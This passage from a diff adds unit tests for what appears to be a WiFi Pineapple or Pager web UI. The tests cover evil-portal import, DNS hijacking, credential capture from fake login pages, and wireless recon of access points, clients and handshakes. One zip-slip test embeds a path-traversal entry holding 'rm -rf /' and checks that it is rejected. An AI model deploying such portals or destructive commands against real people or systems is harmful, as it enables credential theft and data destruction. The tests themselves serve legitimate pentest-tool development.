+        evil = make_zip({'index.php': INDEX_PHP})
+        # Hand-build a zip with an unsafe entry.
+        buf = io.BytesIO()
+        with zipfile.ZipFile(buf, 'w') as zf:
+            zf.writestr('index.php', INDEX_PHP)
+            zf.writestr('../../evil.sh', b'rm -rf /')
+        status, _ = server.h_portals_import(ctx({
+            'name': 'evil', 'data': base64.b64encode(buf.getvalue()).decode()}))
+        self.assertEqual(status, 400)
+        self.assertFalse(os.path.exists('/tmp/evil.sh'))
+        self.assertFalse(os.path.exists(evil and '/etc/passwd.mk8test'))
+
+    def test_import_rejects_garbage(self):
+        status, _ = server.h_portals_import(ctx({
+            'name': 'junk', 'data': base64.b64encode(b'not a zip').decode()}))
+        self.assertEqual(status, 400)
+        status, _ = server.h_portals_import(ctx({}))
+        self.assertEqual(status, 400)
+
+    def test_import_overwrites_same_name(self):
+        data = base64.b64encode(make_zip({
+            'index.php': INDEX_PHP})).decode()
+        s1, _ = server.h_portals_import(ctx({'name': 'dup', 'data': data}))
+        data2 = base64.b64encode(make_zip({
+            'index.php': INDEX_PHP, 'extra.txt': b'x'})).decode()
+        s2, _ = server.h_portals_import(ctx({'name': 'dup', 'data': data2}))
+        self.assertEqual((s1, s2), (200, 200))
+        self.assertTrue(os.path.isfile(
+            os.path.join(self.tmp, 'dup', 'extra.txt')))
+
+    # ---- list / activate / delete ----
+
+    def _import_one(self, name='p1'):
+        status, payload = server.h_portals_import(ctx({
+            'name': name, 'data': base64.b64encode(make_zip(
+                {'index.php': INDEX_PHP})).decode()}))
+        assert status == 200, payload
+        return name
+
+    def test_list_reports_portals_and_active(self):
+        self._import_one('alpha')
+        status, payload = server.h_portals_list(ctx())
+        self.assertEqual(status, 200)
+        names = [p['name'] for p in payload['portals']]
+        self.assertIn('alpha', names)
+        self.assertIsNone(payload['active'])
+
+    def test_activate_starts_dns_hijack_and_persists(self):
+        name = self._import_one()
+        status, payload = server.h_portals_activate(ctx(args=(name,)))
+        self.assertEqual(status, 200)
+        self.assertEqual(self.hijacks, [True])
+        with open(server.PORTAL_ACTIVE_FILE) as f:
+            self.assertEqual(f.read().strip(), name)
+        status, payload = server.h_portals_list(ctx())
+        self.assertEqual(payload['active'], name)
+
+    def test_activate_unknown_portal_404(self):
+        status, _ = server.h_portals_activate(ctx(args=('ghost',)))
+        self.assertEqual(status, 404)
+
+    def test_deactivate_stops_hijack(self):
+        name = self._import_one()
+        server.h_portals_activate(ctx(args=(name,)))
+        status, payload = server.h_portals_deactivate(ctx())
+        self.assertEqual(status, 200)
+        self.assertEqual(self.hijacks, [True, False])
+        _, payload = server.h_portals_list(ctx())
+        self.assertIsNone(payload['active'])
+
+    def test_delete_active_portal_deactivates_first(self):
+        name = self._import_one()
+        server.h_portals_activate(ctx(args=(name,)))
+        status, _ = server.h_portals_delete(ctx(args=(name,)))
+        self.assertEqual(status, 200)
+        self.assertFalse(os.path.exists(os.path.join(self.tmp, name)))
+        self.assertEqual(self.hijacks, [True, False])
+
+    def test_restore_on_boot_reapplies_hijack(self):
+        name = self._import_one()
+        with open(server.PORTAL_ACTIVE_FILE, 'w') as f:
+            f.write(name + '\n')
+        server._portal_restore_on_boot()
+        self.assertEqual(self.hijacks, [True])
+        self.assertEqual(server._portal_active['name'], name)
+
+    # ---- php shim ----
+
+    def test_php_shim_substitutes_client_values(self):
+        old_leases = server._dhcp_leases
+        server._dhcp_leases = lambda: {'10.0.0.5': ('AA:BB:CC:DD:EE:FF', 'victim-pc')}
+        try:
+            out = server._php_shim(INDEX_PHP.decode(), '10.0.0.5',
+                                   'http://login.example.com/')
+        finally:
+            server._dhcp_leases = old_leases
+        self.assertNotIn('<?php', out)
+        self.assertNotIn('<%=', out)
+        self.assertNotIn('<?=', out)
+        self.assertIn('value="victim-pc"', out)
+        self.assertIn('value="AA:BB:CC:DD:EE:FF"', out)
+        self.assertIn('value="10.0.0.5"', out)
+        self.assertIn('value="http://login.example.com/"', out)
+
+    def test_php_shim_escapes_quotes_in_lease_values(self):
+        old_leases = server._dhcp_leases
+        server._dhcp_leases = lambda: {'10.0.0.5': ('AA:BB:CC:DD:EE:FF',
+                                                    'vic"tim')}
+        try:
+            out = server._php_shim(INDEX_PHP.decode(), '10.0.0.5', 'http://x/')
+        finally:
+            server._dhcp_leases = old_leases
+        self.assertIn('value="vic&quot;tim"', out)
+
+    # ---- capture ----
+
+    def test_capture_writes_logs_and_jsonl(self):
+        name = self._import_one('credtrap')
+        server._portal_capture(b'email=a@b.c&password=hunter2&submit=Log+In',
+                               '10.0.0.9', name)
+        logs_path = os.path.join(self.tmp, 'credtrap', '.logs')
+        with open(logs_path) as f:
+            text = f.read()
+        self.assertIn('email: a@b.c', text)
+        self.assertIn('password: hunter2', text)
+        self.assertIn('[', text)
+        with open(server.PORTAL_CAPTURES_FILE) as f:
+            entries = [json.loads(line) for line in f if line.strip()]
+        self.assertEqual(len(entries), 1)
+        self.assertEqual(entries[0]['fields']['password'], 'hunter2')
+        self.assertEqual(entries[0]['ip'], '10.0.0.9')
+        self.assertEqual(entries[0]['portal'], 'credtrap')
+
+    def test_captures_endpoint_lists_newest_first_and_clears(self):
+        name = self._import_one()
+        server._portal_capture(b'a=1', '10.0.0.1', name)
+        server._portal_capture(b'a=2', '10.0.0.2', name)
+        status, payload = server.h_portals_captures(ctx(query={'limit': 200}))
+        self.assertEqual(status, 200)
+        self.assertEqual(payload['total'], 2)
+        self.assertEqual(payload['captures'][0]['fields']['a'], '2')
+        status, _ = server.h_portals_captures_clear(ctx())
+        self.assertEqual(status, 200)
+        _, payload = server.h_portals_captures(ctx(query={}))
+        self.assertEqual(payload['total'], 0)
+
+    def test_logs_download_returns_file(self):
+        name = self._import_one()
+        server._portal_capture(b'a=1', '10.0.0.1', name)
+        status, payload = server.h_portal_logs(ctx(args=(name,)))
+        self.assertEqual(status, 200)
+        self.assertEqual(payload.filename, '%s.logs.txt' % name)
+        self.assertIn(b'a: 1', payload.data)
+
+    def test_logs_download_404_when_empty(self):
+        name = self._import_one()
+        status, _ = server.h_portal_logs(ctx(args=(name,)))
+        self.assertEqual(status, 404)
+
+
+if __name__ == '__main__':
+    unittest.main()

tests/test_recon.py

@@ -1,3 +1,4 @@
+import json
 import os
 import shutil
 import sqlite3
@@ -39,8 +40,22 @@ def make_db():
     conn.execute("INSERT INTO ssid (hash, wifi_device, scan, type, bssid, ssid, hidden, time, signal, freq, channel, encryption) "
                  "VALUES (11, 2, 1, 8, '506F9A010000', X'', 1, 1786466532, -64, 5745, 149, 0)")
     conn.execute("INSERT INTO ssid (hash, wifi_device, scan, type, bssid, ssid, hidden, time, signal, freq, channel, encryption) "
-                 "VALUES (12, 1, 1, 4, NULL, X'5A6E6574', NULL, 1786466531, -40, 2412, NULL, NULL)")
+                  "VALUES (12, 1, 1, 4, NULL, X'5A6E6574', NULL, 1786466531, -40, 2412, NULL, NULL)")
     conn.execute("INSERT INTO handshake (hash, scan, stahash, aphash, time) VALUES (20, 1, 1, 2, 1786466600)")
+    conn.execute("INSERT INTO wifi_device (hash, scan, mac, time, signal, freq, packets) VALUES (101, 1, 'AA11BB22CC33', 1786466533, -61, 2412, 4)")
+    conn.execute("INSERT INTO wifi_device (hash, scan, mac, time, signal, freq, packets) VALUES (102, 1, 'DDEEFFEEDD00', 1786466534, -58, 2412, 7)")
+    conn.execute("INSERT INTO wifi_device (hash, scan, mac, time, signal, freq, packets) VALUES (103, 1, '021122334455', 1786466535, -80, 2412, 1)")
+    conn.execute("INSERT INTO ssid (hash, wifi_device, scan, type, bssid, ssid, hidden, time, signal, freq, channel, encryption) "
+                  "VALUES (101, 102, 1, 8, 'DDEEFFEEDD00', X'5365636F6E642D4E6574', 0, 1786466534, -58, 2412, 1, 0)")
+    conn.execute("INSERT INTO handshake (hash, scan, stahash, aphash, time) VALUES (101, 1, 101, 102, 1786466602)")
+    conn.execute("INSERT INTO hostap_client (id, scan, hash, mac, ssid, connected_time, disconnected_time) "
+                  "VALUES (101, 1, 20, 'AE77C0EB3141', X'416E646572736F6E2D35', 1786466601, 1786466605)")
+    conn.execute("INSERT INTO hostap_client (id, scan, hash, mac, ssid, connected_time, disconnected_time) "
+                  "VALUES (102, 1, 22, 'AA11BB22CC33', X'486F73744150', 1786466603, NULL)")
+    conn.execute("INSERT INTO hostap_client (id, scan, hash, mac, ssid, connected_time, disconnected_time) "
+                  "VALUES (103, 1, 23, 'AA11BB22CC33', X'486F73744150', 1786466604, 1786466606)")
+    conn.execute("INSERT INTO ssid (hash, wifi_device, scan, type, bssid, ssid, hidden, time, signal, freq, channel, encryption) "
+                  "VALUES (102, 101, 1, 5, NULL, X'50726F62654F6E6C7953534944', 0, 1786466604, -30, 2412, NULL, NULL)")
     conn.execute("INSERT INTO hostap_basic (scan, time, type, identity, password, verified) VALUES (1, 1786466601, 'WPA', 'bob', '', 0)")
     conn.commit()
     conn.close()
@@ -101,16 +116,16 @@ class ReconDataTest(unittest.TestCase):
         self.assertEqual(newest['time'], 1786466848)
         self.assertEqual(newest['name'], 'pager')
         old = data['scans'][1]
-        self.assertEqual(old['devices'], 2)
-        self.assertEqual(old['aps'], 2)
-        self.assertEqual(old['handshakes'], 1)
+        self.assertEqual(old['devices'], 5)
+        self.assertEqual(old['aps'], 3)
+        self.assertEqual(old['handshakes'], 2)
         self.assertNotIn('uuid', old)
 
     def test_scan_detail_decodes_aps(self):
         data = server.recon_scan_data(1)
         self.assertEqual(data['scan']['id'], 1)
         self.assertEqual(data['scan']['time'], 1786466531)
-        self.assertEqual(len(data['aps']), 2)
+        self.assertEqual(len(data['aps']), 3)
         aps = {a['bssid']: a for a in data['aps']}
         a = aps['C8:9E:43:64:80:80']
         self.assertEqual(a['ssid'], 'Anderson-5')
@@ -125,16 +140,50 @@ class ReconDataTest(unittest.TestCase):
     def test_scan_detail_clients_exclude_ap_macs(self):
         data = server.recon_scan_data(1)
         macs = [c['mac'] for c in data['clients']]
-        self.assertEqual(macs, ['AE:77:C0:EB:31:41'])
+        self.assertEqual(macs, ['AE:77:C0:EB:31:41', 'AA:11:BB:22:CC:33',
+                                '02:11:22:33:44:55'])
 
     def test_scan_detail_handshakes_resolve_macs(self):
         data = server.recon_scan_data(1)
-        self.assertEqual(len(data['handshakes']), 1)
-        hs = data['handshakes'][0]
+        self.assertEqual(len(data['handshakes']), 2)
+        hs = next(h for h in data['handshakes']
+                  if h['client'] == 'AE:77:C0:EB:31:41')
         self.assertEqual(hs['ap'], 'C8:9E:43:64:80:80')
         self.assertEqual(hs['client'], 'AE:77:C0:EB:31:41')
         self.assertEqual(hs['time'], 1786466600)
 
+    def test_scan_detail_associations_are_confirmed_only(self):
+        data = server.recon_scan_data(1)
+        client = next(c for c in data['clients'] if c['mac'] == 'AE:77:C0:EB:31:41')
+        handshake = next(a for a in client['associations'] if 'bssid' in a)
+        self.assertEqual(handshake['sources'], ['handshake'])
+        self.assertEqual(handshake['ssid'], 'Anderson-5')
+        self.assertEqual(handshake['bssid'], 'C8:9E:43:64:80:80')
+        self.assertEqual(client['vendor']['manufacturer'], 'Local/Randomized')
+        self.assertEqual(next(a for a in data['aps'] if a['bssid'] == 'C8:9E:43:64:80:80')['client_count'], 1)
+        self.assertEqual(next(a for a in data['aps'] if a['bssid'] == 'C8:9E:43:64:80:80')['clients'][0]['mac'], client['mac'])
+        self.assertNotIn('ProbeOnlySSID', [a['ssid'] for a in client['associations']])
+        hostap_client = next(c for c in data['clients'] if c['mac'] == 'AA:11:BB:22:CC:33')
+        ssid_only = next(a for a in hostap_client['associations'] if a['ssid'] == 'HostAP')
+        self.assertEqual(ssid_only['sources'], ['hostap_client'])
+        self.assertNotIn('bssid', ssid_only)
+        self.assertEqual(ssid_only['connected_time'], 1786466604)
+        self.assertEqual(ssid_only['disconnected_time'], 1786466606)
+        self.assertEqual(sum(a['ssid'] == 'HostAP' for a in hostap_client['associations']), 1)
+        second_ap = next(a for a in hostap_client['associations'] if 'bssid' in a)
+        self.assertEqual(second_ap['ssid'], 'Second-Net')
+        unassociated = next(c for c in data['clients'] if c['mac'] == '02:11:22:33:44:55')
+        self.assertEqual(unassociated['associations'], [])
+
+    def test_scan_detail_allows_missing_hostap_client_table(self):
+        conn = sqlite3.connect(self.db)
+        conn.execute('DROP TABLE hostap_client')
+        conn.commit()
+        conn.close()
+        data = server.recon_scan_data(1)
+        client = next(c for c in data['clients'] if c['mac'] == 'AE:77:C0:EB:31:41')
+        self.assertEqual([a['sources'] for a in client['associations']], [['handshake']])
+
     def test_scan_detail_missing_returns_none(self):
         self.assertIsNone(server.recon_scan_data(999))
 
@@ -162,10 +211,138 @@ class FakeSock:
         pass
 
 
+class ReconHopperTest(unittest.TestCase):
+    def test_preflight_probes_one_channel_per_radio(self):
+        calls = []
+        with mock.patch.object(
+                server, '_set_monitor_channel',
+                side_effect=lambda interface, channel:
+                calls.append((interface, channel)) or (True, '')):
+            with mock.patch.object(server, '_monitor_down', return_value=False):
+                self.assertEqual(
+                    server._recon_hopper_preflight(),
+                    (True, 'monitor channel control ready'))
+        expected = [
+            (interface, channels[0])
+            for interface, channels in server.RECON_CHANNELS.items()
+        ]
+        self.assertEqual(calls, expected)
+        self.assertEqual(server._recon_hop_state['ifaces'], ['wlan0mon', 'wlan1mon'])
+
+    def test_preflight_skips_busy_radio_and_keeps_the_other(self):
+        def set_channel(interface, channel):
+            if interface == 'wlan0mon':
+                return False, 'wlan0mon channel 1: command failed: Resource busy (-16)'
+            return True, ''
+
+        with mock.patch.object(server, '_set_monitor_channel', side_effect=set_channel):
+            with mock.patch.object(server, '_monitor_down', return_value=False):
+                with mock.patch.object(server, '_sta_uplink_enabled', return_value=False):
+                    with mock.patch.object(server, '_wlan0_pinned', return_value=True):
+                        ok, detail = server._recon_hopper_preflight()
+        self.assertTrue(ok)
+        self.assertIn('wlan0mon', server._recon_hop_state['skipped'])
+        self.assertEqual(server._recon_hop_state['ifaces'], ['wlan1mon'])
+        self.assertIn('2.4 GHz hopping skipped', detail)
+        self.assertIn('Scanning 5 GHz only', detail)
+
+    def test_preflight_fails_when_no_monitor_is_usable(self):
+        with mock.patch.object(
+                server, '_set_monitor_channel',
+                return_value=(False, 'wlan0mon channel 1: No such device')):
+            with mock.patch.object(server, '_monitor_down', return_value=True):
+                ok, detail = server._recon_hopper_preflight()
+        self.assertFalse(ok)
+        self.assertIn('unavailable', detail.lower())
+
+    def test_busy_error_is_classified(self):
+        self.assertEqual(
+            server._iw_error_kind('wlan0mon channel 1: command failed: Resource busy (-16)'),
+            'busy')
+        self.assertEqual(server._iw_error_kind('No such device'), 'missing')
+
+    def test_set_channel_surfaces_iw_failure(self):
+        with mock.patch.object(
+                server, 'device_run',
+                return_value=(240, '', 'Device or resource busy')):
+            ok, detail = server._set_monitor_channel('wlan0mon', 6)
+        self.assertFalse(ok)
+        self.assertIn('wlan0mon channel 6', detail)
+        self.assertIn('Device or resource busy', detail)
+
+    def test_dummy_sta_not_borrowable_when_client_mode_on(self):
+        with mock.patch.object(server, '_wifi_client_mode_enabled', return_value=True):
+            with mock.patch.object(server, '_wlan0_pinned', return_value=False):
+                with mock.patch.object(server, '_wlan0_mgmt_enabled', return_value=False):
+                    self.assertFalse(server._dummy_sta_borrowable())
+
+    def test_dummy_sta_borrowable_when_only_dummy_is_up(self):
+        with mock.patch.object(server, '_wifi_client_mode_enabled', return_value=False):
+            with mock.patch.object(server, '_wlan0_pinned', return_value=False):
+                with mock.patch.object(server, '_wlan0_mgmt_enabled', return_value=False):
+                    with mock.patch.object(server, '_iface_associated', return_value=False):
+                        with mock.patch.object(server, '_sta_uplink_enabled', return_value=True):
+                            self.assertTrue(server._dummy_sta_borrowable())
+
+    def test_preflight_parks_dummy_sta_and_hops_24ghz(self):
+        def set_channel(interface, channel):
+            if interface == 'wlan0mon' and not server._recon_hop_state.get('borrowed_wlan0'):
+                return False, 'wlan0mon channel 1: command failed: Resource busy (-16)'
+            return True, ''
+
+        def borrow():
+            server._recon_hop_state['borrowed_wlan0'] = True
+            return True
+
+        with mock.patch.object(server, '_set_monitor_channel', side_effect=set_channel):
+            with mock.patch.object(server, '_monitor_down', return_value=False):
+                with mock.patch.object(server, '_dummy_sta_borrowable', return_value=True):
+                    with mock.patch.object(server, '_borrow_dummy_sta', side_effect=borrow):
+                        ok, detail = server._recon_hopper_preflight()
+        self.assertTrue(ok)
+        self.assertEqual(detail, 'monitor channel control ready')
+        self.assertEqual(server._recon_hop_state['ifaces'], ['wlan0mon', 'wlan1mon'])
+        self.assertTrue(server._recon_hop_state['borrowed_wlan0'])
+        self.assertEqual(server._recon_hop_state['skipped'], {})
+
+    def test_preflight_does_not_park_when_ap_holds_phy0(self):
+        def set_channel(interface, channel):
+            if interface == 'wlan0mon':
+                return False, 'wlan0mon channel 1: command failed: Resource busy (-16)'
+            return True, ''
+
+        with mock.patch.object(server, '_set_monitor_channel', side_effect=set_channel):
+            with mock.patch.object(server, '_monitor_down', return_value=False):
+                with mock.patch.object(server, '_dummy_sta_borrowable', return_value=False):
+                    with mock.patch.object(server, '_borrow_dummy_sta') as borrow:
+                        with mock.patch.object(server, '_sta_uplink_enabled', return_value=False):
+                            with mock.patch.object(server, '_wlan0_pinned', return_value=True):
+                                ok, detail = server._recon_hopper_preflight()
+        self.assertTrue(ok)
+        borrow.assert_not_called()
+        self.assertEqual(server._recon_hop_state['ifaces'], ['wlan1mon'])
+        self.assertIn('Open AP / Evil WPA', detail)
+
+    def test_reset_restores_parked_dummy_sta(self):
+        server._recon_hop_state['borrowed_wlan0'] = True
+        with mock.patch.object(
+                server, 'device_run', return_value=(0, '', '')) as run:
+            server._reset_recon_hop_state()
+        run.assert_any_call(['ip', 'link', 'set', 'wlan0', 'up'], timeout=10)
+        self.assertFalse(server._recon_hop_state['borrowed_wlan0'])
+
+
 class DaemonSockTest(unittest.TestCase):
     def setUp(self):
         # h_recon_start now reads shared scan state; keep these isolated.
         server._recon_scan_state = {'active': False, 'started': 0, 'duration': 0}
+        preflight = mock.patch.object(
+            server, '_recon_hopper_preflight', return_value=(True, 'ready'))
+        start = mock.patch.object(server, '_start_recon_hopper')
+        preflight.start()
+        start.start()
+        self.addCleanup(preflight.stop)
+        self.addCleanup(start.stop)
 
     def test_socket_call_posts_json_to_sock(self):
         server.DAEMON_SOCK = '/tmp/api.sock'
@@ -201,6 +378,7 @@ class DaemonSockTest(unittest.TestCase):
         status, data = server.h_recon_start(ctx)
         self.assertEqual(status, 200)
         self.assertEqual(calls[0], ('POST', '/api/pineap/recon/new', {'scan_time': 60}))
+        server._start_recon_hopper.assert_called_once_with(60)
 
     def test_start_defaults_empty_body(self):
         calls = []
@@ -224,9 +402,43 @@ class DaemonSockTest(unittest.TestCase):
             type('C', (), {'args': (), 'body': {'scan_time': 30}})())
         self.assertEqual(status, 502)
         self.assertEqual(data['error'], 'native recon scan failed')
-        self.assertEqual(data['detail'], {'error': 'no radio'})
+        self.assertEqual(data['detail'], 'recon/new: no radio')
+        self.assertEqual(data['daemon'], {'error': 'no radio'})
         self.assertFalse(server._recon_scan_state['active'])
 
+    def test_start_reports_hopper_preflight_failure(self):
+        calls = []
+        server._recon_hopper_preflight.return_value = (
+            False, 'Recon radios are unavailable. wlan0mon is missing.')
+        server.daemon_sock_call = lambda *args, **kwargs: calls.append(args)
+        status, data = server.h_recon_start(
+            type('C', (), {'args': (), 'body': {'scan_time': 30}})())
+        self.assertEqual(status, 503)
+        self.assertEqual(data['error'], 'Could not prepare recon radios')
+        self.assertIn('unavailable', data['detail'])
+        self.assertEqual(calls, [])
+
+    def test_start_returns_warning_when_a_radio_is_skipped(self):
+        calls = []
+        def fake_preflight():
+            server._recon_hop_state.update({
+                'warning': '2.4 GHz hopping skipped: Open AP is holding phy0. Scanning 5 GHz only.',
+                'ifaces': ['wlan1mon'],
+                'skipped': {'wlan0mon': '2.4 GHz hopping skipped: Open AP is holding phy0.'},
+                'hint': 'Stop the 2.4 GHz AP to hop 2.4 GHz.',
+            })
+            return True, server._recon_hop_state['warning']
+        server._recon_hopper_preflight.side_effect = fake_preflight
+        server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p, body)) or (200, {'success': True})
+        status, data = server.h_recon_start(
+            type('C', (), {'args': (), 'body': {'scan_time': 30}})())
+        self.assertEqual(status, 200)
+        self.assertTrue(data.get('ok'))
+        self.assertIn('2.4 GHz hopping skipped', data.get('warning'))
+        self.assertEqual(data.get('hopping'), ['wlan1mon'])
+        self.assertEqual(calls[0][1], '/api/pineap/recon/new')
+        server._start_recon_hopper.assert_called_once_with(30)
+
 
 class ReconScanStateTest(unittest.TestCase):
     """The webui mirrors the duration of the Pager's native timed scan."""
@@ -235,6 +447,13 @@ class ReconScanStateTest(unittest.TestCase):
         self.db = make_db()
         server.RECON_DB = self.db
         server._recon_scan_state = {'active': False, 'started': 0, 'duration': 0}
+        preflight = mock.patch.object(
+            server, '_recon_hopper_preflight', return_value=(True, 'ready'))
+        start = mock.patch.object(server, '_start_recon_hopper')
+        preflight.start()
+        start.start()
+        self.addCleanup(preflight.stop)
+        self.addCleanup(start.stop)
 
     def tearDown(self):
         os.unlink(self.db)
@@ -355,7 +574,7 @@ class ReconExtrasTest(unittest.TestCase):
         status, data = server.h_recon_status(type('C', (), {'args': ()})())
         self.assertEqual(status, 200)
         self.assertEqual(data['last_scan'], 1786466848)
-        self.assertEqual(data['last_activity'], 1786466532)
+        self.assertEqual(data['last_activity'], 1786466535)
         self.assertTrue(data['active'])
         server.time.time = lambda: 1786466532 + 1000
         status, data = server.h_recon_status(type('C', (), {'args': ()})())
@@ -367,12 +586,13 @@ class ReconExtrasTest(unittest.TestCase):
             status, data = server.h_recon_status(type('C', (), {'args': ()})())
         self.assertEqual(status, 200)
         self.assertFalse(data['hopper_online'])
+        self.assertIn('hopper_error', data)
         self.assertTrue(data['history_reset'])
 
     def test_hopper_online_cached(self):
         server._hopper_cache.update({'updated': 0, 'online': None})
         with mock.patch.object(server, 'wifi_ifaces',
-                               return_value=['wlan0mon', 'wlan1mon', 'wlan2mon']):
+                               return_value=['wlan0mon', 'wlan1mon']):
             self.assertTrue(server._hopper_online())
         # Second call within the cache window must not re-run iwinfo.
         with mock.patch.object(server, 'wifi_ifaces',
@@ -409,7 +629,7 @@ class ReconExtrasTest(unittest.TestCase):
         self.assertEqual(status, 200)
         kinds = [e['type'] for e in data['events']]
         self.assertIn('auth attempt', kinds)
-        self.assertEqual(data['events'][0]['time'], 1786466601)
+        self.assertEqual(data['events'][0]['time'], 1786466602)
 
 
 class ReconExamineTest(unittest.TestCase):
@@ -419,7 +639,7 @@ class ReconExamineTest(unittest.TestCase):
         ctx = type('C', (), {'args': (), 'body': {'bssid': 'AA:BB:CC:DD:EE:FF'}})()
         status, data = server.h_recon_examine(ctx)
         self.assertEqual(status, 200)
-        self.assertEqual(calls[0], ('PINEAPPLE_EXAMINE_BSSID', 'AA:BB:CC:DD:EE:FF'))
+        self.assertEqual(calls[0], ('PINEAPPLE_EXAMINE_BSSID', 'AA:BB:CC:DD:EE:FF', '30'))
 
     def test_examine_channel_calls_hak5(self):
         calls = []
@@ -427,7 +647,24 @@ class ReconExamineTest(unittest.TestCase):
         ctx = type('C', (), {'args': (), 'body': {'channel': 6}})()
         status, data = server.h_recon_examine(ctx)
         self.assertEqual(status, 200)
-        self.assertEqual(calls[0], ('PINEAPPLE_EXAMINE_CHANNEL', '6'))
+        self.assertEqual(calls[0], ('PINEAPPLE_EXAMINE_CHANNEL', '6', '30'))
+
+    def test_examine_channel_5ghz_sends_duration(self):
+        calls = []
+        server.hak5 = lambda *args, **kw: calls.append(args) or ''
+        ctx = type('C', (), {'args': (), 'body': {'channel': 140, 'seconds': 15}})()
+        status, data = server.h_recon_examine(ctx)
+        self.assertEqual(status, 200)
+        self.assertEqual(calls[0], ('PINEAPPLE_EXAMINE_CHANNEL', '140', '15'))
+        self.assertEqual(data.get('seconds'), 15)
+
+    def test_examine_compact_bssid_is_colonized(self):
+        calls = []
+        server.hak5 = lambda *args, **kw: calls.append(args) or ''
+        ctx = type('C', (), {'args': (), 'body': {'bssid': 'aabbccddeeff'}})()
+        status, data = server.h_recon_examine(ctx)
+        self.assertEqual(status, 200)
+        self.assertEqual(calls[0], ('PINEAPPLE_EXAMINE_BSSID', 'AA:BB:CC:DD:EE:FF', '30'))
 
     def test_examine_requires_target(self):
         server.hak5 = lambda *args, **kw: ''
@@ -708,6 +945,58 @@ class OuiVendorTest(unittest.TestCase):
         self.assertEqual(server.oui_vendor(None), 'Unknown')
         self.assertEqual(server.oui_vendor('--'), 'Unknown')
 
+    def test_oui_identity_prefers_nmap_then_macchanger(self):
+        server._oui_identity_cache = None
+        files = {
+            '/nmap': 'C89E43 Apple Corporation\n',
+            '/mac': 'C89E43 fallback\n',
+        }
+        with mock.patch.object(server, 'OUI_DATA_PATHS', ['/nmap', '/mac']), \
+                mock.patch('builtins.open', side_effect=lambda p, *a, **k:
+                            mock.mock_open(read_data=files[p]).return_value):
+            value = server.oui_identity('C89E43648080')
+        self.assertEqual(value['manufacturer'], 'Apple Corporation')
+        self.assertEqual(value['source'], 'nmap')
+        self.assertIsNone(value['model'])
+
+    def test_oui_identity_uses_macchanger_when_nmap_is_missing(self):
+        server._oui_identity_cache = None
+        files = {'/mac': 'C8-9E-43 fallback\n'}
+
+        def open_file(path, *args, **kwargs):
+            if path not in files:
+                raise OSError('missing')
+            return mock.mock_open(read_data=files[path]).return_value
+
+        with mock.patch.object(server, 'OUI_DATA_PATHS', ['/nmap', '/mac']), \
+                mock.patch('builtins.open', side_effect=open_file):
+            value = server.oui_identity('C89E43648080')
+        self.assertEqual(value['manufacturer'], 'fallback')
+        self.assertEqual(value['source'], 'macchanger')
+
+    def test_oui_identity_handles_missing_files_unknown_and_local(self):
+        server._oui_identity_cache = None
+        with mock.patch.object(server, 'OUI_DATA_PATHS', ['/missing']), \
+                mock.patch('builtins.open', side_effect=OSError('missing')):
+            unknown = server.oui_identity('AC:BB:CC:00:00:01')
+        self.assertEqual(unknown['manufacturer'], 'Unknown')
+        self.assertEqual(unknown['source'], 'unknown')
+        self.assertEqual(unknown['oui'], 'ACBBCC')
+        self.assertIsNone(unknown['model'])
+
+        local = server.oui_identity('02:11:22:33:44:55')
+        self.assertEqual(local['manufacturer'], 'Local/Randomized')
+        self.assertEqual(local['source'], 'local')
+        self.assertEqual(local['oui'], '021122')
+
+    def test_oui_identity_falls_back_to_builtin_vendors(self):
+        server._oui_identity_cache = None
+        with mock.patch.object(server, 'OUI_DATA_PATHS', []):
+            value = server.oui_identity('B8:27:EB:00:00:00')
+        self.assertEqual(value['manufacturer'], 'Raspberry Pi')
+        self.assertEqual(value['source'], 'builtin')
+        self.assertIsNone(value['model'])
+
     def test_band_of_frequencies(self):
         self.assertEqual(server.band_of(2412), '2.4')
         self.assertEqual(server.band_of(5200), '5')
@@ -748,7 +1037,7 @@ class ReconEnrichmentTest(unittest.TestCase):
     def test_scan_detail_bounded_mode_counts_unassociated(self):
         data = server.recon_scan_data(1, _limit=1)
         self.assertEqual(data['unassociated'], 1)
-        self.assertEqual(len(data['aps']), 2)
+        self.assertEqual(len(data['aps']), 3)
         self.assertLessEqual(len(data['clients']), 1)
         self.assertEqual(data['scan']['id'], 1)
 
@@ -821,6 +1110,23 @@ class ReconReportTest(unittest.TestCase):
         self.assertIn('unassociated,1', text)
         self.assertIn('C8:9E:43:64:80:80', text)
 
+    def test_json_download_preserves_enriched_recon_data(self):
+        status, payload = server.h_recon_scan_download(self._ctx(('1',)))
+        self.assertEqual(status, 200)
+        data = json.loads(payload.data.decode('utf-8'))
+        self.assertIn('device_identity', data['aps'][0])
+        self.assertIn('associations', data['clients'][0])
+
+    def test_csv_download_contains_identity_counts_and_associations(self):
+        status, payload = server.h_recon_scan_download_csv(self._ctx(('1',)))
+        self.assertEqual(status, 200)
+        text = payload.data.decode('utf-8')
+        self.assertIn('Device Identity', text)
+        self.assertIn('Client Count', text)
+        self.assertIn('Confirmed SSIDs', text)
+        self.assertIn('Anderson-5', text)
+        self.assertIn('Local/Randomized', text)
+
     def test_html_download_contains_stats(self):
         with mock.patch.object(server, '_gps_status_data', return_value={'lock': False}):
             status, payload = server.h_recon_scan_download_html(self._ctx(('1',)))
@@ -849,6 +1155,25 @@ class ReconReportTest(unittest.TestCase):
         # no GPS line without a fix
         self.assertNotIn('GPS:', text)
 
+    def test_html_report_includes_confirmed_clients(self):
+        with mock.patch.object(server, '_gps_status_data', return_value={'lock': False}):
+            status, payload = server.h_recon_scan_download_html(self._ctx(('1',)))
+        self.assertEqual(status, 200)
+        text = payload.data.decode('utf-8')
+        self.assertIn('Confirmed Clients', text)
+        self.assertIn('AE:77:C0:EB:31:41', text)
+        self.assertIn('handshake', text)
+        self.assertNotIn('ProbeOnlySSID', text)
+    def test_html_download_orders_strongest_signal_first(self):
+        with mock.patch.object(server, '_gps_status_data', return_value={'lock': False}):
+            status, payload = server.h_recon_scan_download_html(self._ctx(('1',)))
+        self.assertEqual(status, 200)
+        text = payload.data.decode('utf-8')
+        # Fixture: hidden AP at -64 dBm is stronger than Anderson-5 at -76 dBm.
+        strong = '50:6F:9A:01:00:00'
+        weak = 'C8:9E:43:64:80:80'
+        self.assertLess(text.index(strong), text.index(weak))
+
     def test_html_report_includes_gps_when_locked(self):
         with mock.patch.object(server, '_gps_status_data',
                                return_value={'lock': True, 'lat': 37.7,
@@ -874,6 +1199,19 @@ class ReconReportTest(unittest.TestCase):
             self.assertEqual(status, 503)
 
 
+class ReconFrontendTest(unittest.TestCase):
+    def test_recon_view_supports_identity_and_confirmed_associations(self):
+        path = os.path.join(os.path.dirname(__file__), '..', 'payload', 'user',
